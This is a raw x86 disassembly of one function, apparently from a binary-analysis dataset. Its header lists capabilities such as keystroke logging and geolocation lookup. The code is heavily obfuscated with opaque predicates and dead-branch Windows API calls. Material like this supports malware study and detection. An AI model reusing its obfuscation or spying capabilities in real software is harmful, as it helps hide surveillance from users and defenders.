Function at 0x1003fff0
Capabilities:
Accept command line arguments
Get disk information
Get geographical location
Log keystrokes
Resolve function by parsing pe exports
Set environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1006b5b1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x268
mov dword [esp + 0x4c], ecx
push ebx
mov dword [esp + 8], 0xe6c8cac3
xor ebx, ebx
push esi
mov dword [esp + 0x10], 0xffffffff
push edi
mov dword [esp + 0x40], 0xf23e4692
mov edi, edx
mov dword [esp + 0x2c], 0xfffffff7
mov dword [esp + 0x38], 0xffffffff
push 7
pop edx
mov dword [esp + 0x34], edx
mov dword [esp + 0x48], 0xfffffffa
push 4
pop ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x3c], 0xfffffffc
mov dword [esp + 0x1c], 0xaa775beb
mov dword [esp + 0x44], 0xe702d15f
mov dword [esp + 0x28], 0xfffc
mov dword [esp + 0x64], edi
mov dword [esp + 0x30], ebx
jmp 0x10040097
mov eax, dword [esp + 0x30]
mov dword [esp + eax*4 + 0x80], 0xffffffff
inc dword [esp + 0x30]
cmp dword [esp + 0x30], ecx
jl 0x10040084
mov eax, dword [esp + 0x8c]
push 0xfffffffffffffffd
pop ecx
sub ecx, eax
je 0x100400b4
cmp dword [esp + 0x8c], ebx
jne 0x100400c1
cmp dword [esp + 0x80], ebx
jne 0x100400c1
mov ecx, ebx
jmp 0x100400c4
xor ecx, ecx
inc ecx
mov eax, dword [esp + 0x88]
imul eax, dword [esp + 0x8c]
push 3
pop esi
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jl 0x100401dc
mov dword [esp + 0x20], 0x3735b263
mov dword [esp + 0x28], 0xfffffff6
mov dword [esp + 0x28], edx
mov dword [esp + 0x44], 0xc9d94031
mov dword [esp + 0x28], 0xf14186e1
mov dword [esp + 0x20], ebx
jmp 0x100401d0
mov dword [esp + 0x44], 0x6d0c11e0
lea ecx, [esp + 0x148]
push 1
call fcn.1000e440
mov dword [esp + 0x30], ebx
jmp 0x10040142
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x148]
mov dword [eax + ecx*4], 0x3d1f0dfb
inc dword [esp + 0x30]
cmp dword [esp + 0x30], 1
jl 0x1004012c
dec dword [esp + 0x38]
xor edx, edx
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x38]
cmp ecx, eax
mov eax, dword [esp + 0x148]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setl cl
mov dword [eax], ecx
mov eax, dword [esp + 0x20]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x40], eax
je 0x10040181
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x44]
xor edx, edx
mov eax, dword [esp + 0x44]
cmp ecx, eax
setne dl
imul edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x148]
cmp edx, 1
jbe 0x100401aa
cmp dword [ecx], ebx
je 0x100401aa
xor eax, eax
inc eax
jmp 0x100401ac
mov eax, ebx
mov dword [esp + 0x44], eax
push ecx
call fcn.10051707
mov dword [esp + 0x14c], ebx
mov dword [esp + 0x150], ebx
mov dword [esp + 0x154], ebx
inc dword [esp + 0x24]
pop ecx
cmp dword [esp + 0x20], esi
jle 0x10040110
jmp 0x1004020f
mov dword [esp + 0x14], ebx
jmp 0x100401f5
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x80], 0xffffffff
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 4
jl 0x100401e2
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], bl
je 0x1004020f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
cmp dword [esp + 0x10], ebx
je 0x100402cd
mov eax, dword [esp + 0x10]
xor edx, edx
mov eax, dword [esp + 0x84]
mov eax, dword [esp + 0x40]
mov dword [esp + 0x34], 1
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x88]
mov eax, dword [esp + 0x38]
mov eax, dword [esp + 0x88]
mov eax, dword [esp + 0x2c]
cmp eax, 1
mov eax, dword [esp + 0x3c]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [esp + 0x40], ecx
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x48]
cmp eax, 0xa5db
mov eax, dword [esp + 0x3c]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [esp + 0x2c]
mov dword [esp + 0x2c], ecx
xor ecx, ecx
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x80]
mov eax, dword [esp + 0x34]
cmp eax, 0x338
mov eax, dword [esp + 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x8c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x88]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
sub eax, 0x42e27698
neg eax
sbb eax, eax
inc eax
sub eax, dword [esp + 0x84]
mov dword [esp + 0x44], eax
mov eax, dword [0x10af8be0]
test al, 1
jne 0x1004039c
or eax, 1
mov dword [0x10af8be0], eax
push ebx
mov dword [esp + 0x280], ebx
push ebx
mov dword [0x10af8c10], ebx
mov dword [0x10af8c14], ebx
call fcn.1000fd7b
mov dword [0x10af8c10], eax
mov dword [0x10af8c18], ebx
mov dword [0x10af8c20], ebx
mov byte [esp + 0x27c], 2
mov ecx, 0x10af8c18
mov dword [esp + 0x1b4], eax
lea eax, [esp + 0x1b4]
push eax
push 0x10
push ebx
lea eax, [esp + 0xac]
mov dword [0x10af8c2c], 0x3f800000
push eax
mov dword [0x10af8c1c], ebx
call fcn.1000fb1f
push 0x1006bbd8
mov dword [0x10af8c24], 7
mov dword [0x10af8c28], 8
call fcn.10051576
or dword [esp + 0x280], 0xffffffff
pop ecx
push 2
lea ecx, [esp + 0x78]
call fcn.1000e440
mov dword [esp + 0x27c], esi
push 6
mov dword [esp + 0x38], 0x10b49f2b
mov dword [esp + 0x18], ebx
pop edx
jmp 0x100403ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x74]
mov dword [eax + ecx*4], edx
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x100403bf
xor ecx, ecx
mov dword [esp + 0x14], ebx
inc ecx
jmp 0x100403ea
mov eax, dword [esp + 0x14]
mov dword [esp + eax*4 + 0x5c], ebx
inc dword [esp + 0x14]
cmp dword [esp + 0x14], ecx
jl 0x100403de
mov eax, dword [esp + 0x74]
cmp dword [eax], ebx
je 0x100404b9
mov dword [esp + 0x14], 0x43d837bc
mov dword [esp + 0x24], edx
mov dword [esp + 0x14], ebx
jmp 0x100404a9
mov dword [esp + 0x24], 0xca29
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x10], ebx
jmp 0x10040432
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1fc], ecx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10040423
cmp dword [esp + 0x24], ebx
jne 0x10040580
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x14], ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x6fe6
mov eax, dword [esp + 0x14]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x74]
cmp ecx, dword [eax]
setl dl
shl edx, 3
test edx, edx
je 0x1004049c
cmp dword [esp + 0x1fc], ebx
je 0x1004049c
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x100404a1
xor ecx, ecx
mov eax, ebx
inc ecx
mov dword [esp + 0x24], eax
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 0xffffffe7
je 0x10040411
jmp 0x10040580
push ecx
mov dword [esp + 0x20], 4
lea ecx, [esp + 0x170]
call fcn.1000e440
mov dword [esp + 0x3c], 0xe26a25a9
mov dword [esp + 0x10], ebx
jmp 0x100404f2
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x16c]
mov dword [eax + ecx*4], 0x60f181e2
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jl 0x100404dc
mov eax, dword [esp + 0x74]
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [esp + 0x1c]
cmp ecx, eax
setne dl
sub edx, ecx
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x34], edx
je 0x1004051b
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x16c]
mov dword [eax], ecx
mov dword [esp + 0x3c], ecx
xor ecx, ecx
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x74]
mov esi, dword [esp + 0x16c]
push esi
mov edx, dword [eax]
cmp dword [esi], edx
sete cl
xor eax, eax
cmp ecx, 0x6de1
setne al
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
cmp edx, ecx
setle al
mov dword [esp + 0x60], eax
call fcn.10051707
pop ecx
push 3
mov dword [esp + 0x170], ebx
mov dword [esp + 0x174], ebx
mov dword [esp + 0x178], ebx
pop esi
mov ecx, dword [esp + 0x34]
xor edx, edx
mov eax, dword [esp + 0x74]
push 9
cmp ecx, dword [eax]
mov eax, dword [esp + 0x60]
setle dl
xor ecx, ecx
add eax, edx
pop edx
cmp eax, edx
mov eax, dword [esp + 0x34]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [esp + 0x5c]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [esp + 0x5c], ecx
or dword [esp + 0x27c], 0xffffffff
push dword [esp + 0x74]
call fcn.10051707
imul eax, dword [esp + 0x5c], 0x2710
movdqa xmm0, xmmword [0x10007f10]
pop ecx
push dword [esp + 0xa0]
lea ecx, [esp + 0xb4]
mov dword [esp + 0x78], ebx
add eax, edi
mov dword [esp + 0x7c], ebx
mov dword [esp + 0xc0], eax
lea eax, [esp + 0x238]
push eax
lea eax, [esp + 0x22c]
mov dword [esp + 0x84], ebx
push eax
push ebx
movdqu xmmword [esp + 0x234], xmm0
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
call fcn.10033b93
mov dword [esp + 0x27c], 4
lea eax, [esp + 0x244]
push dword [esp + 0xa0]
xorps xmm0, xmm0
mov dword [esp + 0xa8], ebx
push eax
lea eax, [esp + 0x23c]
mov dword [esp + 0xb0], ebx
push eax
push ebx
lea ecx, [esp + 0xb4]
mov dword [esp + 0xbc], ebx
movdqu xmmword [esp + 0x244], xmm0
call fcn.10033b93
push 5
pop eax
push esi
lea ecx, [esp + 0x1c4]
mov byte [esp + 0x280], al
call fcn.1000e440
mov byte [esp + 0x27c], 6
mov dword [esp + 0x28], 1
mov dword [esp + 0x10], ebx
jmp 0x100406c8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x1c0]
mov dword [eax + ecx*4], 0x7bc35240
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x100406b2
mov eax, dword [esp + 0xa4]
mov dword [eax], esi
mov dword [esp + 0x2c], 0xffffffff
lea ecx, [esp + 0x13c]
push 1
call fcn.1000e440
mov dword [esp + 0x10], ebx
jmp 0x10040709
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x13c]
mov dword [eax + ecx*4], 0x7e813a3d
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jl 0x100406f3
cmp dword [esp + 0x2c], 7
je 0x1004073f
mov ecx, dword [esp + 0x2c]
xor edx, edx
mov eax, dword [esp + 0x13c]
sub ecx, dword [eax]
mov eax, dword [esp + 0x2c]
cmp ecx, 0x6076
setge dl
imul eax, edx
test eax, eax
je 0x1004073f
xor ecx, ecx
inc ecx
jmp 0x10040741
mov ecx, ebx
mov eax, dword [esp + 0x13c]
mov edi, dword [esp + 0x1c0]
push eax
sub ecx, dword [eax]
mov dword [edi], ecx
call fcn.10051707
mov esi, dword [esp + 0xa8]
pop ecx
mov dword [esp + 0x13c], ebx
mov dword [esp + 0x140], ebx
dec dword [esi]
mov dword [esp + 0x144], ebx
jns 0x100406d7
push edi
call fcn.10051707
pop ecx
push esi
mov dword [esp + 0x1c4], ebx
mov dword [esp + 0x1c8], ebx
mov dword [esp + 0x1cc], ebx
call fcn.10051707
or dword [esp + 0x280], 0xffffffff
cmp dword [esp + 0xb4], 0
pop ecx
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], ebx
je 0x100407ea
push dword [esp + 0xb0]
call fcn.10051707
pop ecx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xb8], ebx
lea eax, [esp + 0xbc]
push eax
call fcn.10042034
xor edx, edx
inc edx
mov esi, dword [eax]
mov dword [esp + 0x20], 0xfffffffc
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], 0x43c4ab2
mov dword [esp + 0x28], edx
mov dword [esp + 0x28], 0xd085c9e5
mov dword [esp + 0x28], 0x4f27d270
mov dword [esp + 0x28], 0x315362da
mov dword [esp + 0x28], ebx
mov dword [esp + 0x28], 0x452a26f3
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], ebx
jmp 0x10040851
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x204], edx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edx
jl 0x10040842
mov dword [esp + 0x20], ebx
jmp 0x10040869
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
inc dword [esp + 0x20]
cmp dword [esp + 0x20], 4
jl 0x1004085d
dec dword [esp + 0x1c]
test esi, esi
je 0x10040940
mov dword [esp + 0x20], 0x62d5e48d
mov dword [esp + 0x1c], 0xfffffffb
mov dword [esp + 0x24], edx
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x100408a9
push 0x2300
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor edx, edx
inc edx
push 5
mov dword [esp + 0x24], 0xffffffe4
pop edi
jmp 0x1004092e
xor ecx, ecx
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
cmp eax, edx
push 1
setl cl
sub ecx, dword [esp + 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0xbc3a
setg dl
xor ecx, ecx
imul edx, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp edx, eax
pop edx
setne cl
sub ecx, dword [esp + 0x20]
cmp edi, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xc8b166c1
setne cl
sub ecx, 0x3707
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
sub ecx, dword [esp + 0x20]
cmp ecx, 0xbac0
setne al
mov dword [esp + 0x24], eax
inc dword [esp + 0x20]
cmp dword [esp + 0x20], edi
je 0x100408b6
mov dword [esp + 0x1cc], esi
jmp 0x10041f5b
mov dword [esp + 0x10], 0x4fd3df75
mov dword [esp + 0x28], ebx
mov dword [esp + 0x10], ebx
jmp 0x10040968
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10040964
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jg 0x10040952
mov eax, dword [0x10af8be0]
test al, 2
jne 0x10040a11
or eax, 2
mov dword [0x10af8be0], eax
push 7
pop esi
push ebx
mov dword [esp + 0x280], esi
push ebx
mov dword [0x10af8bf0], ebx
mov dword [0x10af8bf4], ebx
call fcn.1000fd7b
mov dword [0x10af8bf0], eax
mov dword [0x10af8bf8], ebx
mov dword [0x10af8c00], ebx
mov byte [esp + 0x27c], 9
mov ecx, 0x10af8bf8
mov dword [esp + 0x1b8], eax
lea eax, [esp + 0x1b8]
push eax
push 0x10
push ebx
lea eax, [esp + 0x1bc]
mov dword [0x10af8c0c], 0x3f800000
push eax
mov dword [0x10af8bfc], ebx
call fcn.1000fb1f
push 0x1006bbd3
mov dword [0x10af8c04], esi
mov dword [0x10af8c08], 8
call fcn.10051576
or dword [esp + 0x280], 0xffffffff
pop ecx
xorps xmm0, xmm0
lea ecx, [esp + 0xd4]
push 1
movdqu xmmword [esp + 0x188], xmm0
call fcn.1000e440
mov dword [esp + 0x14], 8
mov dword [esp + 0x10], ebx
jmp 0x10040a4f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xd4]
mov dword [eax + ecx*4], 0x1124f01c
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jl 0x10040a39
mov dword [esp + 0x14], ebx
jmp 0x10040a85
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xd4]
cmp dword [ecx + eax*4], ebx
jne 0x10040a92
inc dword [esp + 0x14]
cmp dword [esp + 0x14], ebx
jle 0x10040a5c
mov ecx, dword [esp + 0xd4]
test ecx, ecx
je 0x10040ab2
push ecx
call fcn.10051707
pop ecx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xdc], ebx
lea eax, [esp + 0x58]
push eax
call fcn.10042096
push 4
lea ecx, [esp + 0x164]
mov edi, dword [eax]
mov dword [esp + 0x44], edi
call fcn.1000e440
mov dword [esp + 0x27c], 0xa
lea ecx, [esp + 0x198]
mov dword [esp + 0x2c], 0xfffffffa
mov dword [esp + 0x24], 0x62939c01
mov dword [esp + 0x1c], 0xffffffff
push 2
call fcn.1000e440
mov dword [esp + 0x14], ebx
jmp 0x10040b1d
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x160]
mov dword [eax + ecx*4], 4
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 4
jl 0x10040b07
mov dword [esp + 0x14], ebx
jmp 0x10040b40
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x198]
mov dword [eax + ecx*4], 0x49e3c8d3
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 2
jl 0x10040b2a
mov ecx, dword [esp + 0x160]
xor eax, eax
cmp dword [ecx + 4], 0xa53a
setl al
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x24], ebx
je 0x10040b6a
cmp dword [esp + 0x1c], ebx
jne 0x10040b6e
mov eax, dword [esp + 0x1c]
mov ecx, dword [ecx + 4]
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x2c]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, ecx
setge dl
xor eax, eax
test ecx, ecx
sete al
xor ecx, ecx
cmp eax, edx
mov eax, dword [esp + 0x198]
push eax
setle cl
mov dword [eax + 4], ecx
call fcn.10051707
or dword [esp + 0x280], 0xffffffff
pop ecx
push dword [esp + 0x160]
mov dword [esp + 0x19c], ebx
mov dword [esp + 0x1a0], ebx
mov dword [esp + 0x1a4], ebx
call fcn.10051707
cmp byte [ebp + 0xc], 0
pop ecx
mov dword [esp + 0x160], ebx
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
jne 0x10040bf3
test edi, edi
jne 0x10041275
mov dword [esp + 0x24], 0x1bf3
cmp dword [esp + 0x24], 0xcd2
jge 0x10040e0d
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x198]
push eax
push 0x1000781c
call fcn.100513ab
add esp, 0xc
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
call fcn.10032de0
mov dword [esp + 0x6c], eax
mov dword [esp + 0x27c], 0xb
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov byte [esp + 0x27c], 0xc
lea ecx, [esp + 0x1a4]
mov eax, dword [esp + 0x194]
inc eax
push eax
call fcn.1002faae
mov esi, ebx
mov byte [esp + 0x27c], 0xd
mov edi, ebx
mov dword [esp + 0x34], esi
mov dword [esp + 0x54], edi
cmp dword [esp + 0x90], esi
jle 0x10040dc9
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x6c]
push eax
push 0x1000781c
call fcn.100513ab
add esp, 0xc
cmp dword [esp + 0x68], 1
jne 0x10040d02
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0xc4]
call fcn.1002f76a
imul ecx, dword [esp + 0x4c], 0xc
lea eax, [esp + 0x54]
push eax
add ecx, dword [esp + 0x1a8]
call fcn.1002f76a
movzx eax, byte [0x10af8b30]
push eax
lea eax, [esp + 0x58]
push eax
push ecx
lea eax, [esp + 0x264]
push eax
lea ecx, [esp + 0x7c]
call fcn.10033418
mov edi, dword [esp + 0x54]
jmp 0x10040da7
cmp dword [esp + 0x68], 2
jne 0x10040d6e
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x1a4]
imul eax, edx, 0xc
mov dword [esp + 0x24], ebx
add ecx, eax
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
sar eax, 2
test eax, eax
je 0x10040d5d
mov esi, ebx
mov ebx, dword [esp + 0x1a4]
mov eax, dword [ecx]
lea ecx, [esp + 0x6c]
lea eax, [eax + esi*4]
push eax
call fcn.100420f8
mov edx, dword [esp + 0x4c]
inc esi
imul ecx, edx, 0xc
add ecx, ebx
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
sar eax, 2
cmp esi, eax
jb 0x10040d32
mov esi, dword [esp + 0x34]
xor ebx, ebx
imul ecx, edx, 0xc
add ecx, dword [esp + 0x1a4]
mov eax, dword [ecx]
mov dword [ecx + 4], eax
jmp 0x10040da7
cmp dword [esp + 0x68], 3
jne 0x10040da7
cmp esi, dword [esp + 0x4c]
jge 0x10040da7
mov eax, dword [esp + 0xc0]
mov ebx, dword [esp + 0x34]
lea esi, [eax + esi*4]
push esi
lea ecx, [esp + 0x70]
call fcn.100420f8
inc ebx
add esi, 4
cmp ebx, dword [esp + 0x4c]
jl 0x10040d89
mov dword [esp + 0x34], ebx
xor ebx, ebx
mov esi, dword [esp + 0x34]
push dword [esp + 0x70]
push 0x10007804
call fcn.100515a0
inc edi
pop ecx
pop ecx
mov dword [esp + 0x54], edi
cmp edi, dword [esp + 0x90]
jl 0x10040c95
lea ecx, [esp + 0x1a4]
call fcn.1002fe78
mov eax, dword [esp + 0xc0]
test eax, eax
je 0x10040dfc
push eax
call fcn.10051707
pop ecx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
or dword [esp + 0x27c], 0xffffffff
lea ecx, [esp + 0x6c]
call fcn.10010f7e
mov dword [esp + 0x30], 0xfcb1
xor edx, edx
mov dword [esp + 0x10], 0x815898f0
mov dword [esp + 0x1c], 0x5fdc8dfb
mov dword [esp + 0x3c], 0xf889e022
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x14], 0x63b0a6d0
mov dword [esp + 0x48], 0x90aec51
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x30]
neg ecx
cmp ecx, eax
mov eax, dword [esp + 0x10]
push 9
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x34]
setge cl
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, dword [esp + 0x28]
setg cl
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x34]
dec eax
neg eax
pop ecx
sbb eax, eax
neg eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x14], ecx
cmp dword [esp + 0x14], 2
jne 0x10040f89
push 5
pop edi
mov dword [esp + 0x10], 8
mov dword [esp + 0x1c], 0xfffffffa
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
imul eax, dword [esp + 0x3c]
test eax, eax
je 0x10040ee5
cmp dword [esp + 0x14], ebx
jne 0x10040ee9
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x48]
je 0x10040f35
mov dword [esp + 0x10], ebx
jmp 0x10040f21
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x244], 0xfffffffe
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x10040f0e
mov eax, dword [esp + 0x14]
mov dword [esp + 0x248], eax
jmp 0x10040f54
mov dword [esp + 0x24], 0x1cd1ac8c
mov dword [esp + 0x24], edi
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10040f54
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10040f77
push ebx
push 0x1138
push 0x22bd
push 0xb5c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
dec dword [esp + 0x14]
cmp dword [esp + 0x14], 2
push 9
pop ecx
je 0x10040ebe
mov dl, byte [ebp + 0xc]
lea eax, [esp + 0x260]
mov ecx, dword [esp + 0x58]
push eax
call fcn.100350c0
mov esi, eax
lea edi, [esp + 0x188]
pop ecx
push 2
lea ecx, [esp + 0x114]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000e440
mov dword [esp + 0x10], ebx
jmp 0x10040fd5
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x110]
mov dword [eax + ecx*4], 1
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10040fbf
mov eax, dword [esp + 0x110]
or dword [eax], 0xffffffff
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10040ff9
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [esp + 0x110]
inc dword [eax]
cmp dword [eax], 0x19
jl 0x10040fe6
mov byte [esp + 0x1b], bl
cmp byte [esp + 0x1b], 0
je 0x10041020
push 1
push ebx
push 0x1b90
call dword [sym.imp.USER32.dll_SetWindowRgn]
push dword [esp + 0x110]
call fcn.10051707
cmp byte [ebp + 0xc], 0
pop ecx
mov dword [esp + 0x110], ebx
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], ebx
je 0x10041271
cmp dword [esp + 0x18c], 0
je 0x10041271
mov eax, dword [esp + 0x190]
xor edx, edx
mov dword [esp + 0x14], 0x8abc
inc edx
mov dword [esp + 0x30], 0xd8fb8cef
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x1c], 0xfcbc8423
mov dword [esp + 0x1d0], eax
mov dword [esp + 0x10], ebx
jmp 0x100410a1
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x50], 0xfffffff6
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edx
jl 0x10041091
cmp dword [esp + 0x14], ebx
je 0x100410b1
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
xor ecx, ecx
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, edx
setge cl
sub ecx, dword [esp + 0x14]
mov dword [esp + 0x30], ecx
xor ecx, ecx
mov eax, dword [esp + 0x30]
cmp eax, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xd8d9
setne al
test eax, eax
jle 0x10041150
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], 0xffffffff
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 0x1c]
sub edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, 0x7ba9
mov eax, dword [esp + 0x30]
setge cl
imul edx, ecx
xor ecx, ecx
cmp eax, edx
setle cl
sub ecx, 0x95e1
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 1
setg al
mov dword [esp + 0x24], eax
jmp 0x10041263
push 3
lea ecx, [esp + 0xfc]
call fcn.1000e440
mov dword [esp + 0x1c], 0xfffffffb
mov dword [esp + 0x34], 2
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], ebx
jmp 0x1004118f
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xf8]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x1004117c
mov esi, dword [esp + 0xf8]
cmp dword [esi + 8], ebx
jne 0x100411a6
mov eax, dword [esp + 0x30]
mov ecx, dword [esi + 8]
cmp ecx, 0x4640
jle 0x100411ba
test ecx, ecx
je 0x100411ba
xor edx, edx
inc edx
jmp 0x100411bc
mov edx, ebx
xor eax, eax
cmp edx, ecx
setg al
imul eax, dword [esp + 0x34]
